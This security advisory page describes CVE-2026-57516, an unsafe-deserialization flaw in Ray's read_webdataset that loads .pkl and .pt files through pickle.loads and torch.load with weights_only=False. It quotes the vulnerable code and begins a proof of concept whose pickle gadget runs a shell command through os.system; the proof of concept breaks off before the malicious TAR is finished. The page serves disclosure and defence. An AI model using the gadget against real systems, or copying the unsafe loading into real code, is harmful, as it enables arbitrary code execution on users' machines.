Skip to content
RayGHSA-hhrp-gw25-jr43

Ray: unsafe deserialization

High8.8CVE-2026-57516 · Published Jul 24, 2026 · updated Sep 10, 2026

## Summary `ray.data.read_webdataset(paths=...)` is a `@PublicAPI(stability="alpha")` reader for WebDataset-format TAR files. Its default `decoder=True` invokes `_default_decoder` on every sample's keys, which routes file extension to a decoder by extension. Two of those branches deserialize attacker-controlled bytes with no validation: - `.pickle` / `.pkl` -> `pickle.loads(value)` - `.pt` / `.pth` -> `torch.load(io.BytesIO(value), weights_only=False)` Both fire during a standard `ray.data.read_webdataset(...).take_all()` / `.iter_batches()` call. No flags, no opt-in, no environment variable. An attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror, email attachment, model-zoo, or any HTTP URL the user passes to `read_webdataset`) achieves arbitrary code execution in the calling Ray process at schema-sample time, before row data is consumed. This is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow Extension Type cloudpickle deserialization, patched in 2.55.0): standard data-loading API, attacker-controlled file format, deserialization gadget invoked transparently. The 2.55.0 patch addressed `tensor_extensions/arrow.py:_deserialize_with_fallback` and...

GitHub advisory

Affected versions

PackageAffectedFixed in
ray
PyPI
< 2.56.02.56.0
Details and references

## Summary `ray.data.read_webdataset(paths=...)` is a `@PublicAPI(stability="alpha")` reader for WebDataset-format TAR files. Its default `decoder=True` invokes `_default_decoder` on every sample's keys, which routes file extension to a decoder by extension. Two of those branches deserialize attacker-controlled bytes with no validation: - `.pickle` / `.pkl` -> `pickle.loads(value)` - `.pt` / `.pth` -> `torch.load(io.BytesIO(value), weights_only=False)` Both fire during a standard `ray.data.read_webdataset(...).take_all()` / `.iter_batches()` call. No flags, no opt-in, no environment variable. An attacker who can supply a TAR (via S3 share, HuggingFace Hub mirror, email attachment, model-zoo, or any HTTP URL the user passes to `read_webdataset`) achieves arbitrary code execution in the calling Ray process at schema-sample time, before row data is consumed. This is the same class of bug as GHSA-mw35-8rx3-xf9r (Parquet Arrow Extension Type cloudpickle deserialization, patched in 2.55.0): standard data-loading API, attacker-controlled file format, deserialization gadget invoked transparently. The 2.55.0 patch addressed `tensor_extensions/arrow.py:_deserialize_with_fallback` and made cloudpickle opt-in via `RAY_DATA_AUTOLOAD_CLOUDPICKLE_TENSOR_METADATA=1`. The WebDataset path is a different code site and was not touched. ## Vulnerable code (HEAD `a157d4d`) `python/ray/data/_internal/datasource/webdataset_datasource.py` lines 175-225, the `_default_decoder` function: ```python def _default_decoder(sample, format=True): sample = dict(sample) for key, value in sample.items(): extension = key.split(".")[-1] ... elif extension in ["pt", "pth"]: import torch # PyTorch 2.6 changed torch.load default weights_only=True, which # breaks loading general Python objects previously serialized for # WebDataset .pt payloads. sample[key] = torch.load(io.BytesIO(value), weights_only=False) # line 219 elif extension in ["pickle", "pkl"]: import pickle sample[key] = pickle.loads(value) # line 223 return sample ``` The comment for the `.pt/.pth` branch is itself a security smell: it documents that the maintainer chose `weights_only=False` *to override* PyTorch 2.6's safer default. The comment treats this as a compatibility fix; it functionally re-enables an arbitrary-code-execution path that upstream PyTorch closed. ## Reachability and default-on confirmation `python/ray/data/read_api.py:2289` defines `read_webdataset` with default `decoder=True`: ```python @PublicAPI(stability="alpha") def read_webdataset( paths, *, ... decoder: Optional[Union[bool, str, callable, list]] = True, ... ) -> Dataset: ... datasource = WebDatasetDatasource(paths, decoder=decoder, ...) ``` `WebDatasetDatasource._read_stream` (line 367) calls the decoder unconditionally when not None: ```python for sample in samples: if self.decoder is not None: sample = _apply_list(self.decoder, sample, default=_default_decoder) ``` `True is not None` evaluates True, so the default decoder fires for every invocation that doesn't explicitly pass `decoder=None` (or a custom safe decoder). The documentation does not warn about the behavior. ## End-to-end reproduction Tested on a fresh venv (`pip install ray[data]`) on Linux x86_64. Ray reports `__version__ == "2.55.1"` (the patched-against-GHSA-mw35 release): ```python import io, os, pickle, subprocess, tarfile, tempfile, sys MARKER = "/tmp/ray_webdataset_poc_rce_marker" class Gadget: def __reduce__(self): cmd = (f"/bin/sh -c \"printf 'RCE via ray.data.read_webdataset\\n" f"pid=%s\\nuser=%s\\n' \"$\" \"$(whoami)\" > {MARKER}\"") return (os.system, (cmd,)) with tempfile.NamedTemporaryFile(suffix=".tar", delete=False) as f: tar_path = f.name with tarfile.open(tar_path, "w") as tar:

CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Severity from
GitHub (reviewed advisory)
Weakness
CWE-502, CWE-94
Also known as
CVE-2026-57516, PYSEC-2026-2273

More Ray advisories

All Ray

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.